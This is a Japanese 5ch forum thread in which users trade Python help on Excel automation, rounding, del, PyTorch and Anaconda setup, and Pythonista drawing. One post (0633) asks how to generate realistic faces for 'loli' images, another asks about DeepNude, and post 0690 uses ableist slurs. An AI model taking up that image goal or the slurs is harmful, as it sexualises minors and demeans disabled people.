2019/06/20(木) 20:59:44.35ID:mU0qtZHy
会社経営は儲からないとやってられんが
政治家は私腹を肥やしちゃいかんだろJK
0618デフォルトの名無しさん
垢版 |
2019/06/20(木) 23:08:20.97ID:LqppmuMl
sslのチャネルをtelnetとかsshに渡して踏み台を越えたいんだけど、sslモジュールってチャネルない…?
0620デフォルトの名無しさん
垢版 |
2019/06/21(金) 02:49:51.71ID:FirfeIPX
5歳: ハゲない方法を教えてください

じじいのまご: 俺に聴くな
0621デフォルトの名無しさん
垢版 |
2019/06/21(金) 09:27:59.05ID:giiP2pUy
>>619
ありがとう
言葉不足だった申し訳ない
チャネルってソケットチャネルとかストリームのことなんだけどpythonではなんて呼ぶんだろう
socks5見たらプロキシサーバ側でつかうように見えたけどクライアントでも使えるか調べるわ
0623デフォルトの名無しさん
垢版 |
2019/06/21(金) 12:13:15.53ID:/W/rELqI
>>620 坊やがそういう研究をするようになったら解決できるかもしれないね。 頑張って研究してくださいね。 その時は私の禿も直してください。

東大のAIの大御所、松尾豊がソフトバンクの社外取締役になった。 
彼は Deep Learning基礎講座 と言う無料の公開講座をやってるが、これに使われてる言語も当然ながら python
0626デフォルトの名無しさん
垢版 |
2019/06/21(金) 13:29:17.27ID:d4iVVWqK
>>623
東大生じゃないと応募できませんてなってんだけど…?
0628デフォルトの名無しさん
垢版 |
2019/06/21(金) 14:26:03.47ID:VfQW8lcY
金儲けが汚いことではないが金は何かを手に入れるための手段でしかないので
金儲けそのものを最終目的にしているような人は人間として浅いというかつまらないことが多い
0629デフォルトの名無しさん
垢版 |
2019/06/21(金) 14:34:36.93ID:/W/rELqI
>>628 金融会社は金儲けのみで生きてますけど。 企業を助けるとか言っててもそれは綺麗事。
そのような言い訳をする人間は心の狭い人間。 金に引け目を感じてるともいえる。

最終目的は自分が生きていればいいんだよ。 自分の命にかかわりがなければ他人はどうでも良い。 これが本音だろ。
命の値段は人それぞれに違う。
0630デフォルトの名無しさん
垢版 |
2019/06/21(金) 15:10:41.15ID:HK0kbqVP
>>625
チーフプロデューサーが強制猥褻で逮捕された番組?
0631デフォルトの名無しさん
垢版 |
2019/06/21(金) 15:19:05.41ID:/W/rELqI
>>630 そうなのかな? 彼はNHKスペシャル「AIに聞いてみた どうすんのよ!? ニッポン」のプロデューサはやってたけど。

超AI入門は次は6月26日。
0632デフォルトの名無しさん
垢版 |
2019/06/22(土) 06:42:11.81ID:lmjByctT
やっぱりプロデューサーは別の人間だった。 あっちの方は配信停止になったけど、こっちは続いてる。
0633デフォルトの名無しさん
垢版 |
2019/06/23(日) 07:39:13.37ID:4lSN7b3Y
pythonでリアルな顔を作りたいのですが、どの辺を参考にしたらいいですか?
ロリ画像作りたいだけなんですけどね、、、
0636デフォルトの名無しさん
垢版 |
2019/06/23(日) 10:57:15.50ID:NJ0BedP7
excel vbaをかじったことのあるの未熟なプログラマです。
excel とかcsvなどファイルを扱うことが多いので、繰り返されるパターンはexcel vbaで自動化して時短に活かしています。

自動化関連に興味あり、自分の持っている武器がexcel vbaだけでは心もとないので
新たな技術要素としてPowershell、pythonのどちらかにするかで悩み検討中です。

この半年で習得して半年後には実業務に活かしたい。pythonはexcelとの親和性があると考えてまして
excel vbaで実現が難しいことをpythonで実現がたやすいケースがあるかも、と思ってます。

質問ですが、excelとの親和性は高いですか?
ptyhonの入門サイトをみててすごいと思ったのが、変数の削除機能。
dell 変数
こんな感じで変数を削除、すなわちメモリから強制的に開放してくれる。
C言語だと、一度宣言したら終了するまでずっとメモリに常駐されるんですよね。この差は大きいと思いました。
0637デフォルトの名無しさん
垢版 |
2019/06/23(日) 11:04:56.44ID:WPP93Y3m
突っ込みたいところは色々あるが、まず、Excelとの相性は「気にしない」という姿勢が正解
Pythonなど他の言語からExcelを操作しようなどとは絶対に考えず、CSVを経由することだ
それで満たせない要件はきっぱり捨てなさい
それができないならVBAへ帰ったほうが幸せになれる
0638デフォルトの名無しさん
垢版 |
2019/06/23(日) 11:20:52.14ID:NJ0BedP7
pythonとの親和性は高くないと読みとれました。
excel以外で、ptyhonが役立つケースがないか、もう少しネットでググってみます。。
0639デフォルトの名無しさん
垢版 |
2019/06/23(日) 11:31:40.14ID:HeOsQws8
>>637 そんなデタラメ教えるな。
直接Excel のカラムを操作できるよ。

>>638 惑わされるな。 Microsoft でさえVBA の代わりにPython を使う検討をしたくらいなんだぞ。
検討結果は、既にPython だけで実現できてるから当面やらないことにしたと言う結論。

https://qiita.com/yniji/items/b38bc312e860027108ac

Python を使いたいのであれば PyXLL か xlwings を使え
Excel で Python を使いたいのならば、xlwings を使いましょう。
0640デフォルトの名無しさん
垢版 |
2019/06/23(日) 11:37:33.87ID:Nf7qH5S+
主にクローラーの作成をしたくてこれから学ぼうとしているところです。JSを習得しています。
学ぶに当たって2つの書籍、
・オライリーの「入門Python3」
・「Pythonクローリング&スクレイピング -データ収集・解析のための実践開発ガイド」
の購入を考えているのですが、後者は8月に増補改訂版が発売されるらしく…
古い方を買って自分で情報の補完ができるか心掛かりがあります。

書籍のチョイスはこれで大丈夫でしょうか。
諸先輩方よろしくおねがいします。
0641デフォルトの名無しさん
垢版 |
2019/06/23(日) 11:38:22.06ID:HeOsQws8
openpyxl 等こられのライブラリーは、Excelファイルを操作するものです。
一方、xlwings は、ファイルではなくて Excel そのものを操作するライブラリーです。
それで、xlwings を使うためには、同じマシン内に Excel がインストールされている必要があります。
そのため、xlwings は Linux では使うことができません。
xlwings の処理は遅いので、Python で Excel の帳票を作りたい場合には openpyxl を使った方がいいです。
0642デフォルトの名無しさん
垢版 |
2019/06/23(日) 12:10:47.67ID:vVd52qKZ
>>636
そのC言語の理解は間違っているから、とりあえずCについては全く分かってないとだけ覚えておけばいいよ
0644デフォルトの名無しさん
垢版 |
2019/06/23(日) 12:37:09.36ID:HeOsQws8
入門Python3 は言語経験者じゃないと難しいと思うから、適当な他の入門書から入った方が良いと思う。
ネットに転がってるので良いと思うけどな。

また、入門Python3 の内容は公式ドキュメントとほぼ同じ。
https://docs.python.org/ja/3/
これのチュートリアルを見てごらん。
0645デフォルトの名無しさん
垢版 |
2019/06/23(日) 12:39:07.07ID:HeOsQws8
公式ドキュメントは常に最新だから、他の本を読んでてもここに立ち返るのが基本。
0646デフォルトの名無しさん
垢版 |
2019/06/23(日) 12:40:08.14ID:fwFAut7X
スクレイピング、ブラウザの自動操作などは、
Ruby, Selenium WebDriver, Nokogiri で十分!

CSV も、モジュールがある。
これで、CSV ファイルを、1行ずつ処理できる

CSV.foreach( "a.csv" ) { 処理 }
0647デフォルトの名無しさん
垢版 |
2019/06/23(日) 15:41:12.01ID:WmqFlq0W
>>642
main関数内で宣言した変数はプログラムが終了するまでメモリに残るのでは?
0648デフォルトの名無しさん
垢版 |
2019/06/23(日) 15:52:19.07ID:HATKZ56c
プログラムが終了した後も解放されたり上書きされるまでは残ってるかも知れません
0650デフォルトの名無しさん
垢版 |
2019/06/23(日) 16:01:37.16ID:XGH9w/fa
>>640
既になんか言語修めてるならSelenium、ヘッドレスブラウザ、
BeautifulSoup4でググればいくらでも情報出てくるから
それで問題ないと思うで。
書籍の方も、多少古くてもPython3用であればあんまし
変わらないのではないか。
自分はネットだけで色々やってるから実際はどうだかわからんけど。
0651デフォルトの名無しさん
垢版 |
2019/06/23(日) 16:03:47.66ID:0sdWkE2M
そもそも Python の dell の実装自体C言語で書かれてるのに何を言ってるのって感じですね
0652デフォルトの名無しさん
垢版 |
2019/06/23(日) 16:14:33.15ID:bhc2V1zC
>>651 お前は何を言ってるのかわかってるのか? そんなこと言ったら全ての高級言語はアセンプラで書かれてることになるんだが?
馬鹿なことは言うな。
0653デフォルトの名無しさん
垢版 |
2019/06/23(日) 17:34:06.80ID:0sdWkE2M
最初の言語実装として書かれたのが cpython なんだから、dell は一番最初にC言語で書かれてるだろ
知る限りじゃアセンブリで書かれたpythonの実装はない
元をたどればとかそういう次元の話してないし、dell 相当の機能が C言語にないんじゃなかって言う話でしょそもそも
話の流れ見れてないのかなんなのか
0655デフォルトの名無しさん
垢版 |
2019/06/23(日) 18:30:46.53ID:XGH9w/fa
>>652
あせんぷらw まぁtypoだろうけど。
ちなみにPython公式のソースはC言語で書かれてるよ
アセンブラ実装は何処情報?
0657デフォルトの名無しさん
垢版 |
2019/06/23(日) 19:58:12.46ID:gzhLgRT0
ブとプを打ち間違えるかな...と思ったけど、かな入力やスマホとかなら間違えやすいか
0658デフォルトの名無しさん
垢版 |
2019/06/23(日) 19:58:33.62ID:0sdWkE2M
お前ら、俺が dell ってずっと書いてることにはつっこまないの?
そうだよ、俺も python の事なんて何も知らないよ
python に詳しかったらこんなスレ覗かない
何も知らないのにマウントとって知ったような口聞いてるだけ
マウントとった後、調べてみて、自分が変な事言ってたり間違ってたらそのままフェードアウトだよ
どうせお前らもそんなやつらばっかりなんだろ?お互い気をつけような
0660デフォルトの名無しさん
垢版 |
2019/06/23(日) 22:38:04.02ID:kmyAfJoF
requestsでbitflyerにつないでAPIをとってきてjson見た
何故かbigfly略と言いたくなって
ついでにMLBのstatscastを見てきたがこっちはjsで塞いであった
0661デフォルトの名無しさん
垢版 |
2019/06/23(日) 22:54:57.27ID:AhEnqdaS
PyCharmのAvailable Pacagesからmutagenというmoduleをinstallしたいんだけど表示されない
どうやったらこのモジュール使えるの?初心者でごめん
開発環境はWin 10, Pycharmは最新ver.
0662640
垢版 |
2019/06/24(月) 00:19:54.70ID:ggsL2S1m
皆様ありがとうございます。
あまり新刊にこだわらず選ぼうと思います。
一つ確認なんですけども、公式docと内容が同じというのは「入門Python3」であってますか?
同じオライリー本でPythonの開発者の人が書いてる書籍があるのですが、そっちではないですよね。
0664デフォルトの名無しさん
垢版 |
2019/06/24(月) 01:30:51.03ID:oP64UM4n
>>653 アホは死ななきゃわからないかな?
アセンブラという言葉がわからなければ機械語と言っても解らないだろうな。

それに、dell という文法もない。 あるのは del な。
0666デフォルトの名無しさん
垢版 |
2019/06/24(月) 04:08:53.69ID:BNnw42OK
165,124
というvector2座標がある場合
200,100
というふうに変換してくれる関数みたいなものはあるでしょうか?
切りのいい数字に四捨五入するようなものです
0667デフォルトの名無しさん
垢版 |
2019/06/24(月) 07:29:32.45ID:5/afZCLu
>>666
切りのいい数字が100の倍数のことなら
round(x/100)*100
0668デフォルトの名無しさん
垢版 |
2019/06/24(月) 08:11:18.08ID:gvIH4051
roundは厳密に四捨五入じゃない云々は置いといて
round使うにしても整数のまま桁数指定したほうが良いでしょ

round(x,-2)

正確に四捨五入しようと思うとまあまあめんどくさい
0669デフォルトの名無しさん
垢版 |
2019/06/24(月) 08:18:56.23ID:gvIH4051
下の桁が5ぴったりのときは偶数の方に丸められる…

round(250,-2)=200だけどround(251,-2)=300

程度の誤差は発生する
0670デフォルトの名無しさん
垢版 |
2019/06/24(月) 10:18:35.21ID:BNnw42OK
回答どうもです

クリック位置の座標にあるセル(100px,100px)にブロックを追加したかったので、四捨五入したかったんです
例えばマインクラフトや、タイルマップエディタのような感じですね
四捨五入するというアプローチは間違ってますか?
0671デフォルトの名無しさん
垢版 |
2019/06/24(月) 10:47:38.86ID:gvIH4051
>>670
クリックした位置のセルの原点座標ってことなら切り捨てだと思うけど
実際やりたいことがよくわかってないw
0674デフォルトの名無しさん
垢版 |
2019/06/24(月) 11:03:10.80ID:ZLUJdTng
これを機会に丸め(round )についてちゃんと勉強しといたほうがいいよ、まじで
Python関係なくコンピュータの動作原理そのものだから
0676デフォルトの名無しさん
垢版 |
2019/06/24(月) 11:32:01.40ID:BNnw42OK
>>672
どうも
//
の部分は何を意味していますか?
電卓では割り算記号の連続は出来ないようです
上のゲームエンジンではエラーになります
0677デフォルトの名無しさん
垢版 |
2019/06/24(月) 12:13:26.53ID:gvIH4051
>>676
言語によってやり方は違うけどpythonでは割り算の商を算出する演算子
剰余と組み合わせてまあまあ使うやつ
0679デフォルトの名無しさん
垢版 |
2019/06/24(月) 14:23:32.33ID:BXNZhLwW
>>676 // は整数演算の 割り算の商(整数)。 % は割り算の余り(整数)

11.5//3 #> 3
11.5%3 #>2
10//3 #>3
10%3 #>1
0680デフォルトの名無しさん
垢版 |
2019/06/24(月) 14:33:13.24ID:BXNZhLwW
del は要素の削除の時は使うけど変数を削除するためには余程の事がない限りは先ず使わないな。
local変数は関数を抜けたら全て解放されるし。
0683デフォルトの名無しさん
垢版 |
2019/06/27(木) 12:02:19.97ID:lIUc4BCV
Python 2系終了のタイムリミット迫る。早く「3系」に切り替えよう
2019年06月27日 05時00分 公開 [一色政彦,デジタルアドバンテージ]
https://www.atmarkit.co.jp/ait/articles/1906/27/news016.html

(前略) ・2020年1月1日までに、Python 2.7のサポートを打ち切る
という共同宣誓を、「Sunsetting Python 2 support」(python3statement.org)という
サイト上で公に発表している。
 この中には、Pythonでデータを扱うために必須のNumPyやpandas、Matplotlib、
Jupyter Notebookから、BokehやPillowなどまである。さらには、ディープラーニング/
機械学習のライブラリであるTensorFlow、scikit-learnなどなど、そうそうたる有名ライ
ブラリまでも名を連ねているのだ。(中略)

各種ライブラリのタイムライン
 これを見ると、pandas、scikit-learnに至っては、既にPython 2系統のサポートは終了
している状況である。

 [Projects Timeline]セクションには載っていないが、TensorFlowの場合は、2020年1月
1日を持ってPython 3のみをサポートし、Python 2はサポートしなくなる。2020年以降に、
どうしてもPython 2を使う必要があれば、古いバージョンのTensorFlowを使わざるを得なく
なる状況だ。

 以上の通り、Python 2の寿命はあと半年である。これからは意識して2系統ではなく
「Python 3」を使っていくべきだろう。また、最新のライブラリを使う必要がある既存の
Pythonプロジェクトについても、Python 3への移行をそろそろ計画して始めなければなら
ない時期である。本稿がそのきっかけとなればうれしい。
0684デフォルトの名無しさん
垢版 |
2019/06/27(木) 14:02:36.05ID:8h/96yF8
画像編集・処理ソフト内のPythonと称するスクリプトは2を使ってるのが多いなあ
0685デフォルトの名無しさん
垢版 |
2019/06/27(木) 14:21:07.05ID:3KqxYutW
Linuxディストリビューションに最初から入ってるのは2.7が多いね
多分昔からあるシステム関係のソフトでpython2を必要としているのがあるんだろうけどちゃんと移行できるのかな
0686デフォルトの名無しさん
垢版 |
2019/06/27(木) 15:29:59.14ID:pYqGtZqT
そういうのはディストリビューターがサポートするから2100年まで使ってても構わんぞ
まあRHEL8すら標準はPython3になるけどね
0687デフォルトの名無しさん
垢版 |
2019/06/27(木) 16:09:30.43ID:LGNWVUpq
メッチャ大手やんけ
すらって何だよすらって
何様だザコが
0688デフォルトの名無しさん
垢版 |
2019/06/27(木) 16:27:09.53ID:OHdwTxjO
>>687
ちょっと恥ずかしい事になってるから気を付けた方がいいよ
想像力に乏しいのか短絡的過ぎるのか何なんだろう
0690デフォルトの名無しさん
垢版 |
2019/06/27(木) 17:59:35.00ID:eSnhVs4m
俺はザコでも生ゴミガイジほどではないからさ〜
話しかけないで欲しいな、ガイジ菌が感染るだろ
0691デフォルトの名無しさん
垢版 |
2019/06/27(木) 18:13:36.21ID:vYBmK8+j
新しいことができなくても、
今までできたことができなくなるわけじゃないでしょ。
OSのときもそうだけど、サポート切れで騒ぎすぎ。
0693デフォルトの名無しさん
垢版 |
2019/06/27(木) 22:15:27.57ID:Bmk5LBR0
未だに最新 macOS でもデフォは2系だからな
「後方互換性の断絶」という負の遺産はあまりに重すぎる
0697デフォルトの名無しさん
垢版 |
2019/06/28(金) 08:33:40.99ID:NUNLAInL
>>695
Chainerのウェブチュートリアルがよく出来てる
Chainer自身は下火だがPyTorchがほぼ同じなのでその点は気にしないでOK
0699デフォルトの名無しさん
垢版 |
2019/06/28(金) 10:47:02.91ID:u4Lk6Ssv
Chainerなんか全然ダメだって!チュートリアルは日本語だけど、ドキュメントは英語だからわざわざChainer選ぶ必要無し
チュートリアルなんかどこにでもあるような基礎をサラっと書いてあるだけのただの導入部なんだから全く役に立たないよ
大切なのはドキュメント、そのドキュメントが英語w それなら他のライブラリ使ったほうがいい

利用人口も考えたらマイナーなChainerは全然ダメ、マイナーでドキュメントは英語w 良いところが全く無い

やるなら断然Keras、PyTorch、TensorFlowのどれかでしょ
Kerasはドキュメントが日本語にも対応(https://keras.io/ja/)してるし、初心者向けだからKerasが一押しかな
個人的にはディープラーニング以外もできる超有名ライブラリscikit-learnから始めようと思っている
0700デフォルトの名無しさん
垢版 |
2019/06/28(金) 10:55:26.00ID:w3LBTBue
>>699
英語でも問題ないならどれがお勧めですか?
0703デフォルトの名無しさん
垢版 |
2019/06/28(金) 11:28:34.72ID:fSH27hWb
scikit-learnワロタwww
0706デフォルトの名無しさん
垢版 |
2019/06/28(金) 12:29:41.47ID:njjnbHqA
色々書いてあるけど結局英語だからダメとしか言ってなくてわろた
0707デフォルトの名無しさん
垢版 |
2019/06/28(金) 12:34:15.15ID:FaFJPDu1
もうこのさいスピードラーニングでいいんじゃね?
0708デフォルトの名無しさん
垢版 |
2019/06/28(金) 12:47:08.76ID:u4Lk6Ssv
>>700
うーん、難しいね、みんなも指摘している通りまだ始めてもいないからね
ただ始める前にどれが良いかを選定しただけなんだよ

何から始めるかは結構重要じゃん?
タダなんだから全部やってみればいいと言う人もいるけど、少し触った程度じゃ全然ダメ!
少し触っただけで分かった気になる人には有効かもしれないけど、それだと実際何の意味も無い
少し触った程度の知識じゃ何もできないことくらい分かるよね?
時間はタダじゃないし選定は重要さ

PythonとRubyのどちらかを選んだかでその後の人生が大きく変わるのと一緒
Rubyを選んだ人達は本当にマヌケだよね、Rubyを勉強したことは無駄ではないと言われそうだけど
使わないならそれはゴミさ、え?まだRubyを使っている人もいるって?ハッハッハッそいつはとんでもない馬鹿だなw

ちょっと話が逸れちゃったけど、えーっと「英語でも問題無いならどのライブラリが良いか」ということだけど
正直分からないな、なぜなら私は書籍で勉強するタイプだからね、もちろんネットも使うけど
書籍が学習の中心さ、そして日本語の書籍はどれも充実しているから英語とか関係無いわけ
ちなみにscikit-learnの学習で使用する書籍も選定済みさ
『Pythonではじめる機械学習 ―scikit-learnで学ぶ特徴量エンジニアリングと機械学習の基礎』
色んなレビューをみたけど、これがベストだろうね フフフッ
0713デフォルトの名無しさん
垢版 |
2019/06/28(金) 13:20:35.41ID:fSH27hWb

されてるけど?
0714デフォルトの名無しさん
垢版 |
2019/06/28(金) 17:35:04.61ID:F+cepw8m
Pythonや人工知能関連書籍が好調 - コンピュータ出版販売研究機構
2019/06/28 16:09 長岡弥太郎
https://news.mynavi.jp/article/20190628-850554/

日本におけるコンピュータ関連書販売のインフラ作りと販売効率を目指すコンピュータ
出版販売研究機構(CPU/Computer book Publisher United)は28日、2018年度のコンピュータ
書籍の書店別の売上げランキングなどを含むCPU大賞を発表した。

コンピュータ関連書籍を発行する7社(インプレス、SBクリエイティブ、技術評論社、秀和
システム、翔泳社、マイナビ出版、ソシム)が加盟するCPUでは、加盟各社の売上冊数を
集計し、書店やコンピュータ書籍の表彰を行っている。2018年度は調査書店約2,000店の
平均前期比が104.7%と増加、棚分類コードによる区分けで「Python(159.7%)」「人工知能
(151.4%)」「子どもプログラミング(117.9%)」など7ジャンルでの16.4万冊の増化が押し
上げた格好。機械学習に親和性のあるPythonや人工知能に関連する棚の書籍が150%を超えて
おり、広がるAI関連のニーズがうかがえる。(後略)
0715デフォルトの名無しさん
垢版 |
2019/06/28(金) 17:50:30.89ID:daeMTUV/
ディープラーニングをvs codeでやる場合はなんのライブラリがいいんでしょうか?
pytorchをインストールしようとしてるんですが、エラーでてインストールされないし、vs code使えるのかどうかもわからないです
0717デフォルトの名無しさん
垢版 |
2019/06/28(金) 22:19:26.33ID:RgUDMaz7
pygameで文字はfont.renderで出しているんだけど
これを90度回転できないだろうか
0719デフォルトの名無しさん
垢版 |
2019/06/29(土) 02:00:20.43ID:sli9M1dN
>>715
AnacondaでPyTorchでいいよ
Anacondaはトラブルの元と言われているけど、機械学習に関しては一番楽に入る
pipを使わないでcondaコマンドで入れる
0721デフォルトの名無しさん
垢版 |
2019/06/29(土) 08:15:54.66ID:8bAr7lLW
anaconda結構文句言われてるけど、変に色々入れるくらいならPATHで
コントロールするanacondaのが楽だわ。
0722デフォルトの名無しさん
垢版 |
2019/06/29(土) 08:25:40.19ID:ChoVB/Br
>>717
surfaceで持っておけば画像と同じだから後はどうとでも処理できる
0724デフォルトの名無しさん
垢版 |
2019/06/29(土) 10:06:59.87ID:+7j52G96
anacondaは一生使わないライブラリが大量に入るから容量と通信の無駄が多い
condaコマンドは優れてるからminicondaなら使うけど
0725デフォルトの名無しさん
垢版 |
2019/06/29(土) 10:39:01.23ID:oQRmI9ED
最近話題のdeepNudeはpython?
0729デフォルトの名無しさん
垢版 |
2019/06/29(土) 11:42:10.57ID:Kp+ip4R/
>>721
2ちゃんで本当のことかくと叩かれるから
0730デフォルトの名無しさん
垢版 |
2019/06/29(土) 12:32:39.05ID:OzStntkP
anacondaに無いパッケージを入れたいんだけど、pipと併用するとよくないみたいなのみるけどまずいですか?
0731デフォルトの名無しさん
垢版 |
2019/06/29(土) 12:41:07.98ID:TBOm/90P
anacondaとpip併用しても問題無い
condaを先に試して入って無ければpip
0732デフォルトの名無しさん
垢版 |
2019/06/29(土) 12:52:23.23ID:g5F5PAlf
すみません、初心者質問は承知で多分既出だとも思うんですが、お勧めの定番入門本とかあったら教えてください
Pythonチュートリアルで勉強してたらいきなり「words.insert(0, w)」というのが出てきて、関数をドットで繋いで使うとかそこら辺の説明すらなかったので
一応、C、シェル、PerlはわかるPython初心者です
0733デフォルトの名無しさん
垢版 |
2019/06/29(土) 13:23:35.70ID:TBOm/90P
>関数をドットで繋いで使う

そのコードはそんなことしてない

それは*byの習慣だからあっちのスレで聴いた方が良い
0736デフォルトの名無しさん
垢版 |
2019/06/29(土) 14:33:14.47ID:TBOm/90P
words が WordClass のインスタンスだったとして

WordClass.insert(words, 0, w)
0739デフォルトの名無しさん
垢版 |
2019/06/29(土) 15:49:17.12ID:wduzIWp0
pytorch入れようとするとこういうメッセージが出るのですが、デバッグ方法はあるでしょうか?
win10
python3.7
gpuはgtx使ってますが、cudaというのはよくわかりません


ERROR: torch-1.1.0-cp37-cp37m-win_amd64.whl is not a supported wheel on this platform.

>>738
0740デフォルトの名無しさん
垢版 |
2019/06/29(土) 15:51:17.75ID:TBOm/90P
エラーメッセージ貼る前に読めよ
0743デフォルトの名無しさん
垢版 |
2019/07/01(月) 08:57:18.32ID:wZSo+WFq
PythonコードをWin/Mac/Linuxバイナリに変換する「PyOxidizer」
2019/07/01 07:15 後藤大地
https://news.mynavi.jp/article/20190701-851010/

Fossbytesは6月27日(米国時間)、「PyOxidizer Can Turn Python Code Into Apps For
Windows, MacOS, Linux」において、Pythonスクリプトをバイナリファイルに変換する
ツール「PyOxidizer」を紹介した。このツールを使うと、Pythonスクリプトをそれ単体で
実行できるバイナリファイルに変換してくれる。サポートされているプラットフォームは
Windows、macOS、Linuxの3つ。

Pythonは現在人気の高いプログラミング言語の1つ。集計方法にもよるが、Pythonはどの
ランキングにおいても長期にわたって成長傾向を続けており、利用されるシーンが広がって
いる。しかし、記事ではこうした利用がプログラマーに限定されたものと指摘。Pythonで
開発されたソフトウェアを利用するにはユーザーが実行環境を整える必要があるとし、
プログラマー以外のユーザは利用しにくい状況にあると説明している。

「PyOxidizer」はPythonスクリプトをそのスクリプトを実行するのに必要になるパッケージ
やモジュールも含めて単一のバイナリファイルにまとめるツール。Pythonの実行環境その
ものも含むため、実行するためにPython実行環境がインストールされている必要はない。
0745デフォルトの名無しさん
垢版 |
2019/07/01(月) 12:39:59.36ID:iv7OXwyN
rust使うならARMでもいけるかな?
Pythonコードをrustのソースに変換してコンパイルなのかね。
リポジトリのrustがv1.24だったからそこからだな。。。
0746デフォルトの名無しさん
垢版 |
2019/07/01(月) 12:55:46.77ID:MgHHtJYe
他言語ソースに変換かますのか…
嫌な予感しかしないが果たして…
0749デフォルトの名無しさん
垢版 |
2019/07/01(月) 17:03:01.02ID:87GWfzf4
変換するならCで良いのに
0751デフォルトの名無しさん
垢版 |
2019/07/01(月) 20:15:41.44ID:9atLkvVL
ちょっとロジックを思い付いたらすぐ書けてすぐ動かせるから便利だよなあ

がっこーのすーがくがほとんどそのままコードになっちゃう、と慣れてくると感じられる
他言語だと変数を入れ物として用意するだけで大騒ぎになる事もあるのに
0753デフォルトの名無しさん
垢版 |
2019/07/02(火) 05:46:14.67ID:uFIJ2kIH
cpのバージョンを確認する方法を教えてください
>>> from pip._internal.pep425tags import get_supported
>>> get_supported()
これを実行するといいらしいですが、複数行の実行ッテできますか?
0754デフォルトの名無しさん
垢版 |
2019/07/02(火) 07:46:15.59ID:blpuf0ub
>>753
コマンドプロンプトなんかのターミナルで何も指定せずにpythonを実行したら対話モードになるやん?
そこで1行ずつ実行すればええやん?
0755デフォルトの名無しさん
垢版 |
2019/07/02(火) 08:19:02.01ID:uFIJ2kIH
一行ずつとはなんですか?1行入力したら実行されてしまいますよね
ちなみに、コマンドプロンプトとpythonコンソールのどちらなんでしょうか
0757デフォルトの名無しさん
垢版 |
2019/07/02(火) 08:55:13.96ID:TxeTA/vY
python以前にスクリプトやインタープリタがどういうものか理解したほうが良いと思う
0763デフォルトの名無しさん
垢版 |
2019/07/02(火) 11:15:49.54ID:fYght1Ti
dictのキーがなかった場合、デフォルト値を返す処理を簡潔に書きたいと思っていて、
getというメソッドがあることまではわかったのですが、getだと多重構造には対応できないようです

d["a"]["b"]の値を取得しようとして
d["a"]がなかった場合でも、d["a"]["b"]がなかった場合でも
デフォルト値を返すような処理はないものでしょうか?
自作関数で実現可能ならその関数を教えてください
0766デフォルトの名無しさん
垢版 |
2019/07/02(火) 11:31:11.71ID:6Vbb4ANV
d = defaultdict(lambda: defaultdict(lambda: 'defaultvalue'))
0767デフォルトの名無しさん
垢版 |
2019/07/02(火) 12:09:39.49ID:fYght1Ti
回答ありがとうございます
defaultdictは惜しい感じだけど、今回のケースでは使えないっぽいです
とりあえずこんな感じで対応することにします

d=デフォルト値を設定したdict
tmp=json.loads
d.update(tmp)
0768デフォルトの名無しさん
垢版 |
2019/07/02(火) 20:25:06.56ID:uFIJ2kIH
The conda.compat module is deprecated and will be removed in a future release.
これなんですか?
代わりに何使うんでしょうか。
0771デフォルトの名無しさん
垢版 |
2019/07/03(水) 09:47:03.04ID:2ooccyWk
Python 3です。(Pythonista 3)
from scene import *

class Game (Scene):
def setup(self):
self.background_color = 'black'
line([(0,self.size.h/2),
(self.size.w,self.size.h/2)],('white'),(2))

if __name__ == '__main__':
run(Game(), PORTRAIT, show_fps=True)

上記のコードを使って直線を引きたいのですが、
TypeError: function takes exactly 4 arguments (3 given)
と表示されます。
もう一つの足りない引数は何を渡せばいいのでしょうか?


すでに試した事一覧です。
・line([(0,self.size.h/2), (self.size.w,self.size.h/2)],fill = 'white',width = 2)
→ TypeError: line() takes no keyword arguments

・line([(0,self.size.h/2), (self.size.w,self.size.h/2)],('white'),(2),(10))
・line([(0,self.size.h/2), (self.size.w,self.size.h/2)],('white'),(2),(10,10))
・line([(0,self.size.h/2), (self.size.w,self.size.h/2)],('white'),(2),(10,10,10))
→ TypeError: must be real number, not list

・line([(0,self.size.h/2-1), (self.size.w,self.size.h/2+1)],('white'),(2))
→ TypeError: function takes exactly 4 arguments (3 given)
0772デフォルトの名無しさん
垢版 |
2019/07/03(水) 09:50:06.22ID:qkcBtTCC
>>771
最初の引数をリストにしない
0773デフォルトの名無しさん
垢版 |
2019/07/03(水) 11:06:39.80ID:2ooccyWk
>>772
TypeError: must be real number, not tuple
0774デフォルトの名無しさん
垢版 |
2019/07/03(水) 11:07:35.63ID:2ooccyWk
>>772
test.py", line 7, in setup
line(((0,self.size.h/2), (self.size.w,self.size.h/2)),('white'),(2))
TypeError: function takes exactly 4 arguments (3 given)
0776デフォルトの名無しさん
垢版 |
2019/07/03(水) 16:15:08.70ID:8bq8ZhLq
line(0, self.size.h/2, self.size.w, self.size.h/2, ('white'), (2))
ライブラリの仕様わからんけど
素直にこんなんじゃダメなの?
後ろの2つは色と太さかな?
そこはオプションと捉えて開始点と終点のX,Yをそれぞれ渡すとかかと
0779デフォルトの名無しさん
垢版 |
2019/07/03(水) 16:45:28.57ID:pNJW7omP
lineは昔の関数
scene_drawingのマニュアルに乗ってる

そもそも何処からあの描き方を引っ張って来たのか謎
0780デフォルトの名無しさん
垢版 |
2019/07/03(水) 17:04:52.37ID:aJKbsp3m
普通に PyGame 使えば良くね?
0782デフォルトの名無しさん
垢版 |
2019/07/04(木) 07:35:52.61ID:jHXVSuA9
>>779
from scene import *

class Game (Scene):
def setup(self):
x = self.size.w
y = self.size.h

Scene.scene.draw(
scene_drawing.stroke('white')
scene_drawing.stroke_weight(2)
scene_drawing.line(0,y/2,x,y/2))
)

if __name__ == '__main__':
run(Game(), PORTRAIT, show_fps=True)


scene_drawingの使い方ってこれであってますか?
Sene.scene.draw()無しだとエラー、これだと.stroke_wのドットでinvalid syntax、この文を消すと.lineのドットでinvalid syntaxで、インデント変えても同じエラーです
0783デフォルトの名無しさん
垢版 |
2019/07/04(木) 07:39:06.13ID:jHXVSuA9
>>780
>>781

pythonistaだとpygameとopencvがインストールできないのでPILで代用しようとしましたがSceneモジュールが動いてると無理っぽいです……

PythonでiPhoneアプリ楽しいのでおすすめです
0785デフォルトの名無しさん
垢版 |
2019/07/04(木) 07:43:06.86ID:233YpIeB
ゲームなら本格的にやるならどうせいずれはUnityなどへ乗り換えることになるんだから、
あまり細かいことに拘わらないであくまでプログラミングの基礎の学習と割り切って無理なく実現できる範囲でやればいいと思うよ
0788デフォルトの名無しさん
垢版 |
2019/07/04(木) 11:15:40.32ID:iuGJBH22
from scene import *
class Game (Scene):
def setup(self):
self.background_color = 'black'
def draw(self):
x = self.size.w
y = self.size.h
stroke('green')
stroke_weight(2)
